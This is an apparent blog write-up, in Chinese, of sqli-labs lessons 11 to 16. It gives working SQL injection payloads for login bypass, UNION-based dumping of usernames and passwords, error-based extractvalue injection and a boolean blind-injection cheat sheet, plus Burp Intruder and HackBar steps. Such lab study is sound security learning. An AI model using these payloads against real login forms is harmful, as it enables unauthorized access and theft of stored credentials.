less-11

進去以後首頁長這樣:

輸入admin/admin後即可登入成功。

看到這樣的網頁,第一個想法就是找是不是有sql injection的語句,可以不用正規密碼直接successfully logged in。網路上當然有許多這種bypass的payload,比如:

https://github.com/payloadbox/sql-injection-payload-list

裡面的SQL Injection Auth Bypass Payloads。

當然可以一條一條去試,但這太浪費時間了,可以用burp來幫忙。首先開啟burp:

按上圖open browser後,再按intercept is off把intercept調到on。接下來在開啟的網頁上隨便輸入帳密後按submit:

burp會出現以下畫面:

可以看到上圖最後一行,就是剛剛輸入的帳號密碼。我們會希望可以把passwd等號後面的東西可以自動替換成剛剛SQL Injection Auth Bypass Payloads的那些字串,步驟如下:

按右鍵後再選send to Intruder:

可以看到下圖:

看上圖,把最下面那一行的admin給反藍後按右邊的add$,並切換到Payloads頁籤,把剛剛payload網頁的東西反藍後按ctrl-c,並到下圖頁面按下Paste:

這時即會出現剛剛網頁上所有payload如下圖:

再去按右上角的start attack即可開始自動填入帳密,攻擊結果如下:

攻擊完成後,可以直接從上圖的Response底下的Render看見當下網頁狀況,可以發現length超過1800的都可以成功登入,比如admin' or '1'='1#,不用輸入密碼。

chrome使用hackbar:

輸入admin/admin送出後,把上圖的Use Post method打勾,再Load URL,即可顯示以上畫面,可以從網頁直接控制Post data。

由於可能會送不出去,要參考以下網頁的解決方法:

记一次解决HackBar无法提交post请求参数方法

而剛剛burp攔截到的如下:

uname=admin&passwd=admin&submit=Submit

只要調成Submit=submit即可。

這時就可以任意更改上圖Body部分,再按EXECUTE即可再次load網頁。比如

username被改成了admin' or '1'='1'#,按下execute以後一樣可以成功登入。

因為登入成功後會出現Your Login name:Dumb、Your Password:Dumb等訊息,所以可以試試union攻擊。首先先測測有幾欄:

payload(如下反藍,先猜是不是有三欄): ' or '1'='1' union select null,null,null

按EXECUTE後沒有回顯,代表猜錯,試試兩個null:

有回顯,代表是兩欄。

但直接用上面payload不知為何會無法回顯,比如:

passwd=admin&Submit=submit&uname=admin' UNION SELECT 1,version()#

照理應該顯示版本,但卻還是一樣的頁面:

後來稍微排列組合一下。原本是先密碼接下來submit,再來是帳號;變成先帳號再密碼再submit,payload接在密碼後面,如下所示:

uname=a&passwd=a' UNION SELECT 1,version()#&Submit=submit

可以發現Your Password後面確實顯示版本8.0.31。這同時也告訴我們一件事,就是繞過的payload如果可以適用於某個欄位,就可以適用於同樣地方的另一個欄位

因此,下圖的反藍處就是可以任意替換成各式payload的地方,其查詢結果會顯示在Your Password:的後面。

接下來就可以參照less-1來查帳密。

查security底下有哪一些table:

uname=a&passwd=a' UNION SELECT 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'#&Submit=submit

查users這table有哪些column:

uname=a&passwd=a' UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'#&Submit=submit

查詢username跟password這兩個column的內容:

uname=a&passwd=a' UNION SELECT group_concat(username),group_concat(password) FROM users#&Submit=submit

less-12

試哪個密碼可繞過,再去研究閉合方式。其他跟less-11一樣。

試試其中一個:

可以發現上圖藍字可以抽換成sql語句。sql語句如下:

  1. 測試有幾欄:
    UNION SELECT null,null

  2. 顯示security這個DB有哪些table:
    UNION SELECT 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'

  3. 顯示security這個DB底下的users這個table有哪些column:
    UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'

  4. 顯示users這個table的username跟password這兩個column的內容
    UNION SELECT group_concat(username),group_concat(password) FROM users

less-13

less-11一開始做過的再做一次後如下圖,可以看得出來大概是用')閉合。

把上圖反藍換成payload: extractvalue(1,concat(0x7e,(select database()))),會發現有錯誤訊息,且顯示目前資料庫如下圖上方的反藍處:

extractvalue的原理:

1、extractvalue(xml_frag, xpath_expr):從一個使用xpath語法的xml字符串中提取一個值。
xml_frag:xml文檔對象的名稱,是一個string類型。
xpath_expr:使用xpath語法格式的路徑。

SQL報錯注入的應用:當使用extractvalue(xml_frag, xpath_expr)函數時,若xpath_expr參數不符合xpath格式,就會報錯。

而符號(ascii編碼值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr參數中使用~符號,就會產生xpath syntax error (xpath語法錯誤),通過使用這個方法就可以達到報錯注入的目的。

之後上上張圖的1=1要換成什麼,可以參照less-17。

less-14

實際試試其中一個可以繞過的密碼admin" or 1=1#,的確可以成功登入,且經測試,less-13的payload可以塞在下圖反藍處,可以做報錯注入,也可以做bool盲注。

比如目前所在的資料庫的名稱長度的查詢語句length(database())='8':

如果改成7的話就會顯示failed,代表目前資料庫名稱長度是8不是7,其他語句是一樣道理。

至於盲注語句,可以參考less-5:

  1. 猜目前所在的資料庫的名稱:
    (SELECT SUBSTRING(database(), 1, 1)) = 's'

  2. 猜security的第一個table名稱:
    substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e'

  3. table裡有幾個column? (橫軸數量):
    (SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3

  4. 猜user這個table裡的column有哪些,名字是什麼:
    substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d'

  5. table裡有幾個row(縱軸數量):
    (SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13

  6. 猜測users這個table裡的username:
    substr((select username from security.users limit 0,1),1,1)='D'

  7. 猜測users這個table裡的password:
    就是把上一句的username改成password而已,其他不變,payload如下:
    substr((select password from security.users limit 0,1),1,1)='D'

也可以試試跟less-17一樣的報錯注入。

less-15

一樣用

https://github.com/payloadbox/sql-injection-payload-list

裡面的SQL Injection Auth Bypass Payloads來測試哪些密碼可以順利登入,進而找出注入方式,從上圖反藍處挑倒數第二個。

也就是說跟less-14相同,只是admin後面的"變成'

less-16

挑上圖反藍最下面那個Payload,感覺它的"1"="1"可以直接換成其他sql查詢語句。

經過測試後,的確把上圖反藍換成less-5用過的語句,即可使用blind sql injection。


#sql injection: 帳密登入爆破-使用burp #sql injection: chrome之hackbar更改post data #sql injection: error-based攻擊簡述 #blind sql injection: 語句大全(cheat sheet)







Related Posts

每日心得筆記 2021-05-19(三)

每日心得筆記 2021-05-19(三)

[筆記] 網路交換資料方式

[筆記] 網路交換資料方式

VSCode Emmet: Go to Matching Pair

VSCode Emmet: Go to Matching Pair


Comments